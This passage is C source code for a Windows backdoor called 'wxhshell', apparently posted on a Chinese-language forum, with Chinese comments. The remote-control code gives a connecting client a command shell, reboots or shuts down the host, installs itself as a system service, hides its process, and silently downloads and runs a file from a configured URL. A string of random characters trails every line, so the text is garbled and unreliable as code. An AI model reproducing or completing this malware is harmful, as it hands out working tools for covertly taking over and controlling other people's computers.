      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uc\Kg1{  
    break; *?>T,gx}  
  } 9(7-{,c  
  // 安装 ~2N"#b&J  
  case 'i': { ^j7Vt2-  
    if(Install()) mb3"U"ohs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |O+H[;TB6  
    else 3m)0z{n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~?Pw& K2  
    break; SmH=e@y~Lx  
    } o5GcpbZ3k  
  // 卸载 $G+@_'  
  case 'r': { L,`LN>  
    if(Uninstall()) 0<@KG8@hI;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\'4  
    else xn(kKB.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7"x;~X  
    break; 6l1jMm|= X  
    } pRpBhm;iJ  
  // 显示 wxhshell 所在路径 ]^7@}Ce_  
  case 'p': { [kB7@o  
    char svExeFile[MAX_PATH]; 9T9!kb  
    strcpy(svExeFile,"\n\r"); Vwf$JdK%&l  
      strcat(svExeFile,ExeFile); 4f@rv^f(X  
        send(wsh,svExeFile,strlen(svExeFile),0); i$#;Kpb`^  
    break; *#|&JIEsi  
    }  'KL0@l  
  // 重启 Eyqa?$R  
  case 'b': { CwzZ8.o$i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tw/dD +  
    if(Boot(REBOOT)) p27~>xQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ED( Sg  
    else { lgy <?LI\  
    closesocket(wsh); E CuH%b^,  
    ExitThread(0); ^ VyKd  
    } 7Q9 w?y~c  
    break; b. '-?Nn  
    } &PHTpkaam  
  // 关机 4E+e}\r:6  
  case 'd': { 4k1xy##  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lfgq=8d  
    if(Boot(SHUTDOWN)) Q&tG4f<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); my1@41 H  
    else { Pmx -8w  
    closesocket(wsh); WE#^a6  
    ExitThread(0); JPHL#sKyz  
    } eM6<%?b  
    break; h,N?Ab'S  
    } G~a ZJ,  
  // 获取shell ebhXak[w  
  case 's': { Ll't>)  
    CmdShell(wsh); 2l'6.  
    closesocket(wsh); ;H*T^0  
    ExitThread(0);  K5h  
    break; c)85=T6*aA  
  } F/{!tx  
  // 退出 ?l{nk5,?-Y  
  case 'x': { 2]*OQb#O6e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zC!t;*8a  
    CloseIt(wsh); \gaw6S>n}  
    break; /{_:{G!Q0  
    } IEi^kJflU  
  // 离开 lUZ+YD4  
  case 'q': { Dz/ "M=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dZ@63a>>@  
    closesocket(wsh); r l%  
    WSACleanup(); 2/^3WY1U  
    exit(1); b8UO,fY q  
    break; M6j y\<a  
        } $6 f3F?y7  
  } "KpGlY?^  
  } =dKtV.L  
%tGO?JMkd  
  // 提示信息 wi=v}R_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ti5-6%~&  
} a;+9mDXx:  
  } 5t]H?b8  
XRi8Gpg  
  return; A;M'LM-M  
} CD~.z7,LC  
}Sv:`9=  
// shell模块句柄 :"c*s4  
int CmdShell(SOCKET sock) PJH&  
{ GD$l| |8  
STARTUPINFO si; q2E_ A  
ZeroMemory(&si,sizeof(si)); y<Ot)fa$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dp9+HA9t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q/,O\,  
PROCESS_INFORMATION ProcessInfo; `|q(h Ow2  
char cmdline[]="cmd"; W'TZ%K) I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )SGq[B6@I  
  return 0; xy;;zOh`  
} 5$k:t  
a:w#s}bL  
// 自身启动模式 xA*<0O\V  
int StartFromService(void) G 3ptx! D  
{ Q~Wqy~tS  
typedef struct #ABZ&Z  
{ dy[X3jQB  
  DWORD ExitStatus; 7%M_'P4 V  
  DWORD PebBaseAddress; ckCE1e>s  
  DWORD AffinityMask; |sE'XT4ag  
  DWORD BasePriority; K-Ef%a2#`  
  ULONG UniqueProcessId; es7=%!0  
  ULONG InheritedFromUniqueProcessId; i83OOV$1J  
}   PROCESS_BASIC_INFORMATION; K[YyBE id  
BI@[\aRLQ  
PROCNTQSIP NtQueryInformationProcess; ox.F%)eQ  
v]UwJz3<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ");a3hD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YoFxW5by  
Nh +H9  
  HANDLE             hProcess; fk-RV>yr  
  PROCESS_BASIC_INFORMATION pbi; C0Z=~Q%  
dWBA1p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :ShT|n7  
  if(NULL == hInst ) return 0; 8&dF  
j?QDR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); owv[M6lbD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F!K>Kz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K3uRs{l|  
rytyw77t(  
  if (!NtQueryInformationProcess) return 0; .=; ;  
BMf@M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dj%!I:Q>u  
  if(!hProcess) return 0; 9lE_nc  
alb.g>LNPP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |y!A&d=xYn  
j] [,J49L  
  CloseHandle(hProcess); xgtR6E^k  
I%Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3G4-^hY<  
if(hProcess==NULL) return 0; &%Tj/Qx  
=2x^nW  
HMODULE hMod; bg0Wnl  
char procName[255]; C7AUsYM  
unsigned long cbNeeded; u]@['7  
TL#3;l^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NGWxN8P6  
RG`1en  
  CloseHandle(hProcess); xkA K!uVy  
|Q>IrT  
if(strstr(procName,"services")) return 1; // 以服务启动 0m ? )ROaJ  
Tm?#M&'  
  return 0; // 注册表启动 T[j,UkgGo  
} 5kXYeP3:  
Aiea\j Bv  
// 主模块 [ikOb8 G#  
int StartWxhshell(LPSTR lpCmdLine) jZ; =so  
{ A5w6]:f2  
  SOCKET wsl; 8\gjST*  
BOOL val=TRUE; sx<%2  
  int port=0; 1-QS~)+  
  struct sockaddr_in door; :\U{_@?`%  
;A!BVq  
  if(wscfg.ws_autoins) Install(); OZ!^ak  
o _H`o&xr  
port=atoi(lpCmdLine); {]|J5Dgfe  
-Y;3I00(  
if(port<=0) port=wscfg.ws_port; X[TR3[1}  
#R RRu2  
  WSADATA data; Ti&z1_u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KY] C6kh  
s"?3]P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4xJQ!>6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >-{Hyx  
  door.sin_family = AF_INET; ^zgo#J 5O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]M'=^32  
  door.sin_port = htons(port); BFW&2  
g$o&Udgs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jlg(drTo  
closesocket(wsl); 2dgd~   
return 1; D|#E9OQzs  
} YT8F#t8  
9]@!S|1  
  if(listen(wsl,2) == INVALID_SOCKET) { /5AJ.r  
closesocket(wsl); j 1HW._G  
return 1; S`?!G&[!>  
} 5ms(Wd  
  Wxhshell(wsl); FNId ;  
  WSACleanup(); vSLtFMq^(  
!$>R j  
return 0; ;IM}|2zuN  
@$K"o7+]   
} cPc</[x[W  
B4 8={  
// 以NT服务方式启动 e64^ChCoV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ##4HYQ%E  
{ E q+_&Wk  
DWORD   status = 0; *G 9V'9  
  DWORD   specificError = 0xfffffff; |IUWF%~^$+  
8qu6.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^L&iR0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lCHO;7YHX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xFg>SJ7]  
  serviceStatus.dwWin32ExitCode     = 0; iMRwp+$  
  serviceStatus.dwServiceSpecificExitCode = 0; 4|#WFLo@  
  serviceStatus.dwCheckPoint       = 0; t.\dpBq  
  serviceStatus.dwWaitHint       = 0; K )k<Rh[<  
eO[b1]WLP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j^2j& Ta  
  if (hServiceStatusHandle==0) return; Tkgs]q79  
t#eTV@-  
status = GetLastError(); 6Sn.I1Wy  
  if (status!=NO_ERROR) G'aDb/  
{ Tc3yS(aq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;@E$}*3[>V  
    serviceStatus.dwCheckPoint       = 0; 0NX,QD  
    serviceStatus.dwWaitHint       = 0; 4#hSJ(~7S  
    serviceStatus.dwWin32ExitCode     = status; pIKPXqA  
    serviceStatus.dwServiceSpecificExitCode = specificError; r^ ZEImjc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GF=g<H M  
    return; \mlqO[ S  
  } @bP)406p  
KL Xq\{X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Uq`'}Vo  
  serviceStatus.dwCheckPoint       = 0; @cB$iP=Z4  
  serviceStatus.dwWaitHint       = 0; n#_$\ p>Yd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xh;#  
} R@k&SlL'`  
RhLVg~x  
// 处理NT服务事件,比如:启动、停止 /%A*aGyIc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "OnGE$   
{ ,:\|7F  
switch(fdwControl) mUF,@>o  
{ hODWB&b  
case SERVICE_CONTROL_STOP: / FEVmH?  
  serviceStatus.dwWin32ExitCode = 0; pBA7,z"`mP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sY f~c0${  
  serviceStatus.dwCheckPoint   = 0; &H:(z4/  
  serviceStatus.dwWaitHint     = 0; [87,s.MK  
  { jPW#(3hoE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SQt 4v"  
  } ]}2ZttQ?  
  return; ChXq4]  
case SERVICE_CONTROL_PAUSE: y>e.~5;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]yPqLJ  
  break; zu|\fP  
case SERVICE_CONTROL_CONTINUE: , ^f+^^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q;>7*Y&  
  break; #';:2Nyq  
case SERVICE_CONTROL_INTERROGATE: W#WVfr  
  break; ><HE;cVg?  
}; OMg<V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V-L"gnd&2  
} >%8KK|V{  
qVwIo.g!  
// 标准应用程序主函数 ]G< Vg5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Is?La  
{ A`o8'+`C  
PxkO T*  
// 获取操作系统版本 JQHvz9Yg  
OsIsNt=GetOsVer(); `t'W2X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O2dW6bt  
6]%sFy2  
  // 从命令行安装 @xYlS5{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1 \6D '/G  
VrQmP  
  // 下载执行文件 ]R9HyCl&a6  
if(wscfg.ws_downexe) { tQYM&6g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |f_[\&<*  
  WinExec(wscfg.ws_filenam,SW_HIDE); e@* EzvO  
} !6>~?gNd  
cI?8RF(;  
if(!OsIsNt) { (tw)nF  
// 如果时win9x,隐藏进程并且设置为注册表启动 3c6b6  
HideProc(); 1rF]yi:X  
StartWxhshell(lpCmdLine); wLJ:\_Jaf  
} K\6u9BYG  
else v+#}rUTF  
  if(StartFromService()) 1--C~IjJ+  
  // 以服务方式启动 UH-*(MfB  
  StartServiceCtrlDispatcher(DispatchTable); 90*5 5\>{  
else 6){]1h"  
  // 普通方式启动 /Uy"M:|V1  
  StartWxhshell(lpCmdLine); "PTZ%7YH}  
WE.{p>  
return 0; `q*M4,  
}
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只看该作者 1 发表于: 2006-10-10
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